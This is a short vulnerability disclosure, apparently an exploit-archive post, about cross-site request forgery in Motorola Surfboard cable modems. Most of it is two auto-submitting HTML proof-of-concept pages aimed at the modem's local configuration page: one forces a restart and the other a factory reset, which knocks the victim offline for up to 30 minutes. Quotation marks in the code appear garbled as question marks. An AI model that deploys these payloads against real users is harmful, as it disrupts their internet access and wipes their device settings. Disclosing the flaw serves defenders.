More information about this flaw can be found here:
http://www.rooksecurity.com/blog/?p=4
Motorola Surfboard Cable Modems suffer from two Denial of Service attacks by means of Cross Site Request Forgery.
The latest version of The Motorola Surfboard is affected at the time of the writing.
Restarts the modem:
<html>
<form id=1 method=post action=?http://192.168.100.1/configdata.html?>
<input name=?BUTTON_INPUT? value=?Restart+Cable+Modem?>
</form>
<html>
<script>
document.getElementById(1).submit();
</script>
This CSRF will disconnect the user from the internet for longer.
?The process to get back online from a factory default condition could take from 5 to 30 minutes.?
<html>
<form id=2 method=post action=?http://192.168.100.1/configdata.html?>
<input name=?BUTTON_INPUT? value=?Reset+All+Defaults?>
</form>
<html>
<script>
document.getElementById(2).submit();
</script>
Peace